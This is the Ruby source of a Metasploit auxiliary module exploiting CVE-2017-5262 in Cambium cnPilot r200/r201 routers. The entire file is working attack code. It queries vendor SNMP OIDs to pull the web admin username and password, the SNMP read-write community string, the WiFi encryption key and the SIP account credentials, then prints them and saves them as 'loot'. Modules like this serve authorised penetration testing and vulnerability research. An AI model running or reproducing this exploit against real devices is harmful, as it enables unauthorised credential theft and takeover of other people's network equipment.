##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SNMPClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'Cambium cnPilot r200/r201 SNMP Enumeration',
      'Description' => %{
        Cambium cnPilot r200/r201 devices can be administered using SNMP. The
        device configuration contains IP addresses, keys, passwords, & lots of juicy
        information. This module exploits an access control flaw, which allows remotely
        extracting sensitive information such as account passwords, WiFI PSK, & SIP
        credentials via SNMP Read-Only (RO) community string.
      },
      'Author' => ['Karn Ganeshen'],
      'References' =>
        [
          ['CVE', '2017-5262'],
          ['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
        ],
      'License' => MSF_LICENSE
    )

    register_options(
      [
        OptInt.new('TIMEOUT', [true, 'SNMP connection timeout', 10])
      ], self.class
    )
  end

  def run_host(ip)
    begin
      snmp = connect_snmp
      print_good("#{ip}, Connected.\n")

      cnpilot_info = ''

      # System Info
      snmp_system_name = snmp.get_value('1.3.6.1.4.1.41010.1.1.1.0')
      snmp_system_description = snmp.get_value('1.3.6.1.2.1.1.1.0')
      cnpilot_system_uptime = snmp.get_value('1.3.6.1.2.1.1.3.0')
      cnpilot_hardware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.4.0')
      cnpilot_firmware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.5.0')

      cnpilot_info << "SNMP System Name: #{snmp_system_name}" << "\n"
      cnpilot_info << "SNMP System Description: #{snmp_system_description}" << "\n"
      cnpilot_info << "Device UpTime: #{cnpilot_system_uptime}" << "\n"
      cnpilot_info << "Hardware version: #{cnpilot_hardware_version}" << "\n"
      cnpilot_info << "Firmware version: #{cnpilot_firmware_version}" << "\n"

      # cnPilot Web Management Admin account Info
      admin_username = snmp.get_value('1.3.6.1.4.1.41010.1.7.12.0')
      admin_password = snmp.get_value('1.3.6.1.4.1.41010.1.7.13.0')

      cnpilot_info << "Web Management Admin Login Name: #{admin_username}" << "\n"
      cnpilot_info << "Web Management Admin Login Password: #{admin_password}" << "\n"

      # SNMP Info
      snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.2.0')
      snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.3.0')
      snmp_trap_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.4.0')
      snmp_trap_entry_ip = snmp.get_value('1.3.6.1.4.1.41010.1.9.1.0')

      cnpilot_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
      cnpilot_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
      cnpilot_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
      cnpilot_info << "SNMP Trap Server IP Address: #{snmp_trap_entry_ip}" << "\n"

      # WIFI Info
      wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.6.1')
      wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.8.1')
      wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.7.1')

      cnpilot_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
      cnpilot_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
      cnpilot_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"

      # SIP Account Info
      sip_accountnumber = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.11.1')
      sip_accountpassword = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.12.1')

      cnpilot_info << "SIP Account Number: #{sip_accountnumber}" << "\n"
      cnpilot_info << "SIP Account Password: #{sip_accountpassword}" << "\n"

      # Printing captured info
      print_status("Fetching System Information...\n")
      print_good("SNMP System Name: #{snmp_system_name}")
      print_good("SNMP System Description: #{snmp_system_description}")
      print_good("Device UpTime: #{cnpilot_system_uptime}")
      print_good("Hardware version: #{cnpilot_hardware_version}")
      print_good("Firmware version: #{cnpilot_firmware_version}\n")

      print_status("Fetching Login Account Information...\n")
      print_good("Web Management Admin Login Name: #{admin_username}")
      print_good("Web Management Admin Login Password: #{admin_password}\n")

      print_status("Fetching SNMP Information...\n")
      print_good("SNMP read-only community name: #{snmp_readonly_community}")
      print_good("SNMP read-write community name: #{snmp_readwrite_community}")
      print_good("SNMP Trap Community: #{snmp_trap_community}")
      print_good("SNMP Trap Server IP Address: #{snmp_trap_entry_ip} \n")

      print_status("Fetching WIFI Information...\n")
      print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
      print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
      print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")

      print_status("Fetching SIP Account Information...\n")
      print_good("SIP Account Number: #{sip_accountnumber}")
      print_good("SIP Account Password: #{sip_accountpassword}\n")

      # Woot we got loot.
      loot_name     = 'snmp_loot'
      loot_type     = 'text/plain'
      loot_filename = 'cnpilot_snmp_loot.txt'
      loot_desc     = 'Cambium cnPilot configuration data'
      p = store_loot(loot_name, loot_type, datastore['RHOST'], cnpilot_info, loot_filename, loot_desc)
      print_good("Cambium cnPilot SNMP loot saved at #{p} \n")

    rescue SNMP::RequestTimeout
      print_error("#{ip} SNMP request timeout.")
    rescue Rex::ConnectionError
      print_error("#{ip} Connection refused.")
    rescue SNMP::InvalidIpAddress
      print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
    rescue SNMP::UnsupportedVersion
      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Unknown error: #{e.class} #{e}")
      elog(e)
    ensure
      disconnect_snmp
    end
  end
end
